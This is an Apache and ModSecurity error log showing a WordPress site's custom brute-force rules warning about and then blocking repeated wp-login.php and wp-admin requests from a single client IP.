[Sat Feb 28 01:58:01.056740 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:64378] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbKQP6I7SRqrhh7RovyQAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:03.826991 2026] [:error] [pid 15240:tid 15260] [client 5.189.134.86:52103] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbKy1iKL_41Rk9A9ONBgAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:05.125421 2026] [:error] [pid 15240:tid 15261] [client 5.189.134.86:52103] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbLS1iKL_41Rk9A9ONCAAAABM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:05.125503 2026] [:error] [pid 15240:tid 15261] [client 5.189.134.86:52103] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbLS1iKL_41Rk9A9ONCAAAABM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:07.646170 2026] [:error] [pid 15240:tid 15250] [client 5.189.134.86:64838] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbLy1iKL_41Rk9A9ONDQAAAAg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:08.933149 2026] [:error] [pid 15240:tid 15251] [client 5.189.134.86:64838] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbMC1iKL_41Rk9A9ONDwAAAAk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:08.933221 2026] [:error] [pid 15240:tid 15251] [client 5.189.134.86:64838] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbMC1iKL_41Rk9A9ONDwAAAAk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:10.036518 2026] [:error] [pid 15100:tid 15182] [client 5.189.134.86:64838] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbMkOEbzcINan_ctLRMQAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:11.159771 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:61547] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbMwP6I7SRqrhh7Rov3gAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:12.424023 2026] [:error] [pid 38586:tid 38599] [client 5.189.134.86:51518] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbNL_i6nvKNhjFW7VhUwAAAQo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:13.689734 2026] [:error] [pid 15100:tid 15168] [client 5.189.134.86:60318] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbNUOEbzcINan_ctLRMgAAAEg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:15.039853 2026] [:error] [pid 15240:tid 15255] [client 5.189.134.86:55779] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbNy1iKL_41Rk9A9ONFgAAAA0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:16.544547 2026] [:error] [pid 15240:tid 15254] [client 5.189.134.86:55779] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbOC1iKL_41Rk9A9ONGAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:17.884114 2026] [:error] [pid 15098:tid 15108] [client 5.189.134.86:55779] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbOckFqny8dQQbmTkuWgAAAIM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:19.231640 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:55779] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbO7_i6nvKNhjFW7VhXAAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:20.484522 2026] [:error] [pid 15099:tid 15152] [client 5.189.134.86:50341] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbPOnvP2vtPjYDq_hAtgAAANM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:21.760471 2026] [:error] [pid 15099:tid 15146] [client 5.189.134.86:65015] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbPenvP2vtPjYDq_hAuAAAAM0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:23.070333 2026] [:error] [pid 15099:tid 15150] [client 5.189.134.86:65015] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbP-nvP2vtPjYDq_hAuwAAANE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:24.416209 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:57384] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbQAP6I7SRqrhh7Rov_AAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:25.758345 2026] [:error] [pid 38586:tid 38592] [client 5.189.134.86:57384] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbQb_i6nvKNhjFW7VhagAAAQM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:26.899753 2026] [:error] [pid 15098:tid 15128] [client 5.189.134.86:57249] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbQskFqny8dQQbmTkuXgAAAJY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:28.152225 2026] [:error] [pid 15098:tid 15116] [client 5.189.134.86:54089] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbRMkFqny8dQQbmTkuXwAAAIo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:30.668908 2026] [:error] [pid 15098:tid 15123] [client 5.189.134.86:54089] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbRskFqny8dQQbmTkuYgAAAJE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:31.960213 2026] [:error] [pid 15100:tid 15184] [client 5.189.134.86:50135] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbR0OEbzcINan_ctLRRQAAAFg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:33.075517 2026] [:error] [pid 15099:tid 15136] [client 5.189.134.86:54954] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbSenvP2vtPjYDq_hAzwAAAMM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:34.176895 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:54954] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbSr_i6nvKNhjFW7VhcgAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:35.279739 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:54954] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbSwP6I7SRqrhh7RowHQAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:36.608490 2026] [:error] [pid 38620:tid 38644] [client 5.189.134.86:54954] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbTAP6I7SRqrhh7RowIgAAAVY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:37.945733 2026] [:error] [pid 15099:tid 15134] [client 5.189.134.86:52265] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbTenvP2vtPjYDq_hA2AAAAME"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:39.045227 2026] [:error] [pid 15100:tid 15179] [client 5.189.134.86:56210] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbT0OEbzcINan_ctLRTgAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:40.379487 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:62512] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbUL_i6nvKNhjFW7VhegAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:41.713537 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:62512] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbUQP6I7SRqrhh7RowTAAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:41.713602 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:62512] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbUQP6I7SRqrhh7RowTAAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:42.957534 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:51181] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbUgP6I7SRqrhh7RowVQAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:44.294054 2026] [:error] [pid 38620:tid 38622] [client 5.189.134.86:51192] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbVAP6I7SRqrhh7RowWwAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:45.661015 2026] [:error] [pid 15240:tid 15266] [client 5.189.134.86:53731] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbVS1iKL_41Rk9A9ONNQAAABg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:47.000328 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:63941] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbVgP6I7SRqrhh7RowZAAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:48.349490 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:63941] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbWAP6I7SRqrhh7RowbAAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:49.711333 2026] [:error] [pid 38620:tid 38623] [client 5.189.134.86:63941] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbWQP6I7SRqrhh7RowcgAAAUE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:50.818263 2026] [:error] [pid 15100:tid 15180] [client 5.189.134.86:59476] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbWkOEbzcINan_ctLRXgAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:52.161539 2026] [:error] [pid 15240:tid 15244] [client 5.189.134.86:59483] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbXC1iKL_41Rk9A9ONRwAAAAI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:53.418882 2026] [:error] [pid 38586:tid 38592] [client 5.189.134.86:59047] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbXb_i6nvKNhjFW7VhlQAAAQM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:54.667850 2026] [:error] [pid 15099:tid 15152] [client 5.189.134.86:64971] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbXunvP2vtPjYDq_hA8QAAANM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:56.002548 2026] [:error] [pid 15099:tid 15146] [client 5.189.134.86:64971] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbYOnvP2vtPjYDq_hA8wAAAM0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:57.250285 2026] [:error] [pid 15099:tid 15144] [client 5.189.134.86:64971] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbYenvP2vtPjYDq_hA9gAAAMs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:58.499933 2026] [:error] [pid 15099:tid 15155] [client 5.189.134.86:64971] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbYunvP2vtPjYDq_hA_AAAANY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:59.842029 2026] [:error] [pid 15098:tid 15113] [client 5.189.134.86:59922] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbY8kFqny8dQQbmTkudAAAAIc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:01.108054 2026] [:error] [pid 15099:tid 15135] [client 5.189.134.86:62748] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbZenvP2vtPjYDq_hBAgAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:02.675523 2026] [:error] [pid 15099:tid 15157] [client 5.189.134.86:62748] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbZunvP2vtPjYDq_hBCwAAANg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:04.020096 2026] [:error] [pid 38586:tid 38589] [client 5.189.134.86:60722] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbaL_i6nvKNhjFW7VhrgAAAQA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:05.365729 2026] [:error] [pid 15100:tid 15179] [client 5.189.134.86:60722] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbaUOEbzcINan_ctLRcwAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:06.477325 2026] [:error] [pid 15240:tid 15265] [client 5.189.134.86:62557] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbai1iKL_41Rk9A9ONUQAAABc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:07.822294 2026] [:error] [pid 15098:tid 15129] [client 5.189.134.86:62561] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHba8kFqny8dQQbmTkueAAAAJc"], referer: https://gigfragments.org/wp-login.php
